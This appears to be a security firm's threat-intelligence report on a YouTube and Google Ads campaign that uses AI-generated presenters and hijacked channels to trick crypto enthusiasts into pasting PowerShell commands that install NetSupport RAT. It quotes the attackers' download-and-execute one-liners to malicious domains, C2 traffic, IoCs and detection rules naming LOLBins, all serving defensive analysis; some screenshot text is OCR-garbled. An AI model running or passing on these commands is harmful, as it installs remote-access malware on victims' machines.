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EASY MONEY

Executive summary

In mid-January, we identified multiple YouTube videos distributing NetSupport RAT. The
campaign primarily exploits users’ desire to earn easy money by persuading them to copy
and execute malicious code via Windows Command Prompt.

We observed that the YouTube channels involved had subscriber counts ranging from
approximately 10K to 4M which significantly increased the potential reach and impact of the
campaign.

The videos follow a consistent format featuring three recurring Al-generated characters
presenting the content. Based on voice patterns, visual artifacts, and overall production
style, we assess that all characters are Al-generated and professionally produced.
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Figure 1: Infection chain

Technical Analysis

Initial Access:

We identified an incident involving the execution of a malicious PowerShell command. The payload
was executed manually by the user via copy-paste into Windows Run dialog or Command Prompt.

The observed behavior closely resembles the widely known ClickFix social engineering technique
where users are instructed to manually copy and execute commands. During our investigation, we
determined that the malicious PowerShell payload was delivered through the YouTube video
description section. Victims were either directly instructed to copy and execute a slightly obfuscated
PowerShell command (Figure 2) or redirected to a GitHub repository via an embedded link (Figure
3). The repository contained the PowerShell payload which users were instructed to copy and
execute manually. This confirms YouTube as the initial access vector in the infection chain.

## Node Setup Guide:
1) Open Command Prompt (press Win + R, type "cmd")

2) Copy and paste the node launch command below into Command Prompt window, then press Enter:

powershell -command “$Blockchain="XRP’; $NodeType="Validator’; Invoke-RestMethod ($Blockchain + SNodeType + . + 'dev)) | Invoke-Expression; $Region='Global’; SNetwork="Mainnet; $Version="xrp-mainnet-node=3.3.1-5b0a889™

3) Your node is live!

After syncing, minimize the window and let it work in the background — payouts happen automatically every 24 hours at the same time.

Figure 2: Malicious Payload in description-YouTube
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How to Enable Al Indicator:

1. Install TradingView desktop app from the official website.

2. Enable developer mode (Al charts are only available in this mode).
To do this, open Command Prompt: press Win + R, type "cmd”, and press Enter.

3. After opening the command prompt, paste the developer mode activation command from our repository (follow the link below):

4. Restart TradingView for the changes to take effect.

Now the Al indicator is ready to use! You can find it by clicking the “Indicators" button in the top panel of your chart.

developer-mode / releases [
@ Trading-View-git Setting Up a Developer Mode

Code Blame 1 lines (1 loc) - 192 Bytes

powershell -command “$developermode='enable’; $TradingView='.dev'; irm {Sdevelopermode + ‘enable’ + $TradingView) | Invoke-Expression; Sregion='global'; $version='tradingview_38.4.8_ai_beta'®

Figure 3: Github link in description and malicious payload in Github repository -YouTube/Github

NetSupport RAT Deployment and Persistence
The PowerShell payload primarily uses Invoke-RestMethod and Invoke-Expression to download and
execute the main malicious PowerShell script.

powershell -command "$Blockchain="XRP'; $NodeType='Validator'; Invoke-RestMethod ($Blockchain + $NodeType + ".' + 'dev’)
| Invoke-Expression; $Region='Global'; $Network='Mainnet'; $Version='xrp-mainnet-node=3.3.@-5bPa889"'"

irm "https://xrpvalidator.dev/xrp.

Figure 4: Malicious PowerShell command to download main script

The downloaded script consists of two main components. The first component is responsible for
retrieving and executing NetSupport RAT, followed by establishing persistence. Persistence is
achieved by creating a shortcut to neservice.exe in the Windows Startup folder, ensuring execution
upon system reboot. There is no registry key set, or scheduled tasks configured for persistence.

The second component displays a fake XRP launching page. This decoy content is likely intended
to distract the victim and create the impression that a legitimate cryptocurrency-related process is
running, while the malicious activities continue in the background.
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Figure 5: Main script to download and execute NetSupport RAT

First, the script creates a directory named Nfservice under the AppData\Local path. It then
downloads four files into this folder. The files 7z.exe and 7z.dll are used to extract two compressed
archives. The archive at.zip or ax.zip contains the full set of NetSupport RAT components, while
Ink.zip includes a shortcut file for client32.exe (renamed as neservice.exe). After extraction, the
shortcut to neservice.exe is placed in the Windows Startup folder to establish persistence.

sitest\AppData\Local\Nfservice|

ilf; 7z.dll [®] 7z.exe [EHz) at. 7z
2] AudioCapture.dIl L] client32.ini <] HTCTL32.DLL
[@z] Ink.7z |_'{ msvcr100.dll m NEsernvice.exe

k] nskbfitr.inf L] NSMLini LJNSM.LIC
L] nsm_vpro.ini [4] pcicapi.dil <] PCICHEK.DLL
|_‘ PCICL32.DLL [#] remcmdstub.exe %] TCCTL32.DLL

™ neservice.exe - Verkniipfung

Figure 6: Components of NetSupport RAT

In the second stage, the script simulates a completely fake XRP launching screen. Additionally, it
sends a POST request to xrplcluster, which is a public, community-operated XRP Ledger
infrastructure endpoint that allows users to query the ledger. By interacting with a legitimate public
service, the script creates the illusion of active cryptocurrency-related activity on the screen,
reinforcing the social engineering narrative while the malicious payload operates in the background.
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Enter your XRP address: x

Destination tag is required for exchange wallets only.

Enter your destination tag (press Enter to skip)

Rewards are distributed once daily.
Payout amount depends on your hardware performance.

er Network...

[2026-01-28 :26] Node Status: . Latest block: 1018 4
[2026-01-28 @] Node Status: . Latest block: 101867541
[2026-01-28 :13] Node Status: . Latest block: 101867547
[2026-01-28 6] Node Status: . Late block: 1018
[2026-01-28 1 8] Node Status: . Latest block: 1018

[ -01-28 15: 2] Node Status: . Latest block: 1018

Figure 7: Fake XRP Node launching screen

Command and Control

After client32.exe is executed, it initiates outbound communication by sending a POST request to
the gateway address specified in the client32.ini configuration file.

[ Info] M Wireshark . Folge HTTP Stream (tcp.stream eq 18) - Ethernetd

Filename=C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.ini

POST http://188.137.248.69/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

Host: 188.137.248.69

Connection: Keep-Alive

CMD=POLL

INFO=1

ACK=1

HTTP/1.1 208 OK

Server: NetSupport Gateway/1.92 (Windows NT)
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

Connection: Keep-Alive

08l

=0 CMD=ENCD
PRHEF:F?EDG9B=BAIEP;C ES=1
@HEF: F?EDGYB=BAIER;C DATA=.g+$.{.. \....W..[R..7).2\..d8.=M"s......... M.6..

POST http://188.137.248.69/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 231

Host: 188.137.248.69

] TCPIP] Connection: Keep-Alive
MulticastListenAddress=
CMD=ENCD
==

Figure 8: Configuration file (client32.ini) related to C2

Once the connection has been established successfully, the attackers gain remote access to the
compromised device through NetSupport RAT’s command-and-control (C2) functionality. This
enables full remote-control capabilities, including system interaction, file access, and potential follow-
on activity depending on the operator’s objectives.
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Threat Intelligence Findings:

After identifying the initial access vector, we conducted a more detailed investigation on YouTube.
Our findings indicate that this activity is part of a large-scale campaign rather than isolated incidents.
Several of the accounts involved had a significant number of subscribers, ranging from
approximately 10K to 4M.

SAM e
MAYERSC o)) Sam Miller

Sam Miller

‘ More info

@ wwwyoutube. com/@sam_miller_defi
@ united States
@ JoinedMay7, 2024

2 azsm

Figure 9: Some of the Scam/Hacked YouTube channels -YouTube

We identified three distinct male presenters across the analyzed videos. We assess that all three
characters are most probably Al-generated. Two of the men are presented as individual YouTube
content creators using the names “Sam Parker,” “Sam Mayerson,” “Sam Miller,” and “Sam Backer.”

SAM -~ e JYY
MAYERSC d = -

/
SAM SAN
MAYERSON. &) BACKER

Figure 10 Channels centered around the name “Sam” - YouTube

The third man impersonates the official YouTube channel of TradingView. In this case, the names
“Thomas Green” and “Thomas Anderson” are used.

THOMAS
ANDERSON

annel ...more

Thomas Anderson
% @ThomasAnderson_DeF| - 537K subscribers

Figure 11: Channels centered around the name “Thomas” and “TradingView” - YouTube
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Most of the malicious videos were uploaded within the last two months, while the channels
themselves were generally created within the last two years. This temporal mismatch suggests that
the channels may have been compromised and repurposed for the campaign. In two cases,
previously uploaded Shorts or Posts were not removed, further supporting this assessment. The
older Shorts and Posts are unrelated and significantly different from the newly uploaded videos,
indicating a likely account takeover rather than a legitimate content shift.

"‘"'TANODE ? ? H”Nﬂ

= _INSMINU

Figure 12: Samples of hijacked channels - YouTube
The channel content is structured around five main themes:

o XRP Node

e Usage of the “TradingView” tool

e Usage of the xrp-rates[.Jcom platform
o Bug bounty

e Virus removal tool (Tron)

Among these, the videos related to “XRP Node” and the “TradingView” tool are used to distribute
NetSupport RAT.

Similar scam campaigns involving XRP and TradingView have been reported previously.

e In July 2025, Ripple warned XRP holders about a new wave of scams on YouTube, where
fake accounts impersonated Ripple and used deepfake videos of well-known public figures
such as David McWilliams and Elon Musk to increase credibility.

o Likewise, in April 2025, TradingView published a scam alert warning users about fake
TradingView YouTube channels distributing malware. These prior incidents indicate that
cryptocurrency-themed impersonation and Al-generated content are recurring tactics used
in social engineering campaigns targeting crypto communities.

In these videos, viewers are directed toward two different actions:

e Purchasing a VPS and remotely connecting to the server.
¢ Downloading the desktop application from what is presented as the official TradingView
website.
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The attackers’ objectives may vary. One possible goal is stealing financial data during the VPS
purchase process, especially if victims enter payment information on attacker-controlled platforms.
They may also aim to compromise the purchased VPS and use it for malicious purposes, such as
hosting payloads or supporting command-and-control infrastructure. Encouraging users to download
the “TradingView” desktop tool could enable credential harvesting or unauthorized access to
financial accounts.

The Best Value
Cloud VPS Hosting

L i TradingView

Figure 13: Screenshots from videos - YouTube

The promotional videos for the xrp-rates[.Jcom platform do not directly distribute malware and only
link to the website. However, WHOIS data indicates that the domain was registered recently.
Additionally, Fortinet classifies the domain as spam, suggesting it is part of the broader malicious
campaign infrastructure.

(C Reanalyze O, Search

hittps://xrp-rates.com/

xrp-rates.com 00 text/html; charset=UTF-8 amoment ago

text/html external-resources
DETAILS COMMUNITY

Join our Community ai an APl key to automate checks,

Security vendors' analysis () Do you want to autor

Fortinet

Figure 14: VirusTotal

The videos related to bug bounty programs and virus removal tools do not currently contain any
malicious links. However, in the virus removal tool video, the presenter claims that a download link
is available in the description section. Despite this statement, no such link is present at the time of
analysis. This may indicate that the link has not yet been added, or that the campaign is being
prepared for future updates.
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Figure 15: Screenshot from videos - YouTube

The bug bounty-themed content similarly promotes the idea of earning easy money. This messaging
aligns with the broader social engineering narrative observed throughout the campaign: financial
gain is used as the primary lure to attract and manipulate potential victims.

Find Your First Bug Bounty in 30 Days (No Experience Needed)

Most people entering bug bounties are told to learn the OWASP
Top 10, finish PortSwigger labs, and jump straight onto

S O - S 1 0 0' 0 0 0 HackerOne's biggest programs. That advice no longer works. In
2025, public bug bounty programs are oversaturated, heavily
automated, and dominated by elite researchers, leaving
beginners discouraged and finding nothing for months.

READ MORE

Figure 16: Screenshot from video — YouTube

During our investigation on YouTube, we found that these videos were also promoted through
Google Ads. Our findings indicate that thousands of advertisements were published by at least two
distinct advertiser accounts. This suggests a coordinated effort to increase visibility and expand the
reach of the campaign beyond organic traffic.

~

¥ . ~ » - 1~
A Biervng sbou 82~

ARBITRAGE | il

SUNSYNK MOBILE LIMITED SUNSYNK MOBILE LIMITED SUNSYNK MOBILE LIMITED Appzold Limited

Figure 17: Ads Transparency Center - Google

In some videos, comments have been disabled completely, in others only positive comments are
visible. This suggests active moderation or filtering of user feedback. We also observed identical
comments appearing across different channels.
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This pattern indicates coordinated engagement activity, likely involving bot-generated or centrally
managed accounts to create a false sense of legitimacy and trust.

25 Comments = Sortby

26 Comments = Sortby

Figure 18: Comment from different channels — YouTube

Recommended mitigation measures

Based on the observed tactics, techniques, and procedures (TTPs), the following mitigation
measures are recommended:

User Awareness and Training

Organizations should educate users about social engineering techniques that involve copying and
executing PowerShell commands manually. Users should be clearly informed that legitimate
platforms do not require running commands through Command Prompt to enable crypto-related
services or tools.

Restrict PowerShell Usage
PowerShell execution should be restricted where possible by following best practices:

o Implement PowerShell Constrained Language Mode via AppLocker or WDAC

o Set PowerShell Execution Policy to at minimum "RemoteSigned” or "AllSigned

o Enable PowerShell Script Block Logging and Module Logging

¢ Monitor PowerShell usage via EDR/SIEM for anomalous Invoke-RestMethod/Invoke-
Expression chains

e Consider blocking PowerShell in standard user contexts where not business-critical

Author: Sirmaci & Degroot Classification: EXTERN Status: Final
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Detection

We executed the command in our test environment and figured out that the Defender for Endpoint
detects and prevents the attack.

Alerts

5 Feb 2026 15:48 Resolved
Suspicious command in RunMRU registry

L desktop-r R E

5 Feb 2026 15:48 Resolved
Hidden dual-use tool launch attempt

Ll desktop-n RE

5 Feb 2026 15:48 Resolved
Possible NetSupport Manager activity

L1 desktop-n 2 E

Figure 190: Defender for Endpoint Detection

In addition, we developed multiple detection rules to identify this campaign across different attack
phases. The following table summarizes our detection coverage:

Detection Coverage Overview

# Detection Rule Target Phase MITRE ATT&CK | Severity

1 | ClickFix Technique - Suspicious RunMRU Initial Execution T1059, High
Registry Entry T1204.004

2 | Execution of neservice.exe with PowerShell as Payload T1059.001 High
Parent Deployment

3 | Execution of neservice.exe from Malicious T1036.005 High
AppData\Local\Nfservice Execution

4 | Copy of neservice Shortcut to Startup Folder Persistence T1547.001 High

Author: Sirmaci & Degroot Classification: EXTERN Status: Final
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Detection Rule Details

1. ClickFix Technique - Suspicious RunMRU Registry Entry with LOLBins and Obfuscated
Payloads

Detection Focus: |dentifies ClickFix social engineering attempts through Windows Run dialog
command history analysis

Monitored Indicators:

o LOLBins execution patterns (PowerShell, MSHTA, Rundll32, WScript, Curl, Wget, CMD,
MSIExec)

e Obfuscated URLs and IP-based URLs

Campaign Relevance: Detects the initial execution vector where users manually copy and execute
malicious PowerShell commands from YouTube video descriptions via Windows Run dialog. This is
the primary entry point for the campaign.

2. Execution of neservice.exe with PowerShell as Parent

Detection Focus: Detects suspicious parent-child process relationships indicating malware staging
and deployment

Monitored Indicators:
e Process execution with PowerShell as parent process
e Specific process name (neservice.exe)

Campaign Relevance: Identifies the NetSupport RAT deployment phase where PowerShell
downloads and executes the renamed client32.exe (neservice.exe) binary. This matches the
observed infection chain exactly.

3. Execution of neservice.exe from AppData\Local\Nfservice Folder

Detection Focus: Identifies execution of renamed NetSupport RAT components from non-standard
installation paths commonly used for evasion

Monitored Indicators:
e Process execution from suspicious AppData subdirectories
o Specific installation path (AppData\Local\Nfservice)

Campaign Relevance: Targets the specific installation directory used in this campaign. Provides
high-fidelity detection with minimal false positives due to the unique path characteristic of this threat.
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4. Copy of neservice Shortcut to Startup Folder

Detection Focus: Detects persistence establishment via suspicious file placement in Windows
Startup locations

Monitored Indicators:
¢ File creation and modification events in Startup directories
o Files without standard .Ink extension
o Specific file name (neservice)

Campaign Relevance: Identifies the persistence mechanism where shortcuts to neservice.exe are
placed in the Startup folder to ensure execution upon system reboot. This is the final stage of the
initial compromise.

These Sigma-based detection rules provide layered coverage across the complete attack lifecycle
and are integrated into our HuntingGrid threat hunting platform for automated detection and alerting.

loCs

Value Description
56ebaf8922749b9a9a7fa2575f691c53a6170662a8f747faeed11291d475c422 | client32.exe
327b75570c9¢c102aaa3f5a93f501d324c9a06f48e02ab7af6fae44b67dc325¢1 at.7z
43907e54cf3d1258f695d1112759b5457576481072cc76a679b8477cfeb3db87 | 7z.exe

enableenable[.]dev

Script download domain

xrpvalidator[.]dev

Script download domain

sonosuitegx[.Jcom:2081 Gateway Address
sonosuitegx[.]Jnet:2081 Secondary Gateway
hxxp://188[.]137[.]248[.169[.]:2081/fakeurl[.]htm Cc2

xrp-rate[.Jcom

Suspicious Platform

hxxps://t[.Jme/Sam_Mayerson

Telegram channel

hxxps://t[.]Jme/web3_sam

Telegram channel

hxxps://guthub.com/XRP-Blockchain

Github repository

hxxps://guthub.com/git-TradingView

Github repository

hxxps://guthub.com/TradingView-git

Github repository

MITRE ATT&CK Mapping

Resource Development

Technique | Technique Name Procedure
ID
T1583.008 Acquire Infrastructure:
Malvertising
T1586.003 Compromise Accounts:

Cloud Accounts

Classification: EXTERN
Status: February 2026

Author: Sirmaci & Degroot
Version: 1.0

Coordinated Google Ads campaign with thousands of
advertisements across at least two advertiser accounts

Hijacked YouTube channels with 30K-2M subscribers,
repurposed for malware distribution

Status: Final
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T1585.001 Establish Accounts: Social Al-generated personas ("Sam Parker", "Sam Mayerson",
Media Accounts "Thomas Green")
T1587.001 Develop Capabilities: Custom PowerShell loader for NetSupport RAT deployment
Malware
Initial Access
Technique ID | Technique Name Procedure
T1566.003 Phishing: Spearphishing via | Malicious PowerShell commands delivered via YouTube
Service video descriptions, targeting cryptocurrency enthusiasts
Execution
Technique ID | Technique Name Procedure
T1204.001 User Execution: Malicious GitHub repository links containing PowerShell payload
Link
T1204.004 User Execution: Malicious User is instructed to copy and paste code directly into a
Copy and Paste Command and Scripting Interpreter via Windows + R
T1059.001 Command and Scripting User-initiated execution of obfuscated PowerShell
Interpreter: PowerShell commands

Persistence

Technique
ID

T1547.001

Technique Name Procedure
Boot or Logon Autostart: Registry Run LNK shortcut to neservice.exe placed in
Keys / Startup Folder Windows Startup folder

Defense Evasion

Technique Technique Name Procedure
ID
T1027.010 Obfuscated Files or Information: Slightly obfuscated PowerShell commands to
Command Obfuscation evade casual inspection
T1036.005 Masquerading: Match Legitimate client32.exe renamed to neservice.exe; directory
Name or Location named "Nfservice"
T1564.008 Hide Artifacts: Email Hiding Rules Comment filtering/moderation on YouTube to
suppress negative feedback
T1218.011 System Binary Proxy Execution: Use of legitimate 7z.exe for archive extraction
RundlI32
Author: Sirmaci & Degroot Classification: EXTERN Status: Final
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Command and Control

Technique Technique Name Procedure

ID

T1219 Remote Access Software NetSupport RAT for persistent C2 communication

T1071.001 Application Layer Protocol: Web HTTP POST requests to C2 gateway defined in
Protocols client32.ini

Impact (Potential)

Technique ID | Technique Name Procedure

T1657 Financial Theft Credential harvesting for cryptocurrency wallets/exchanges
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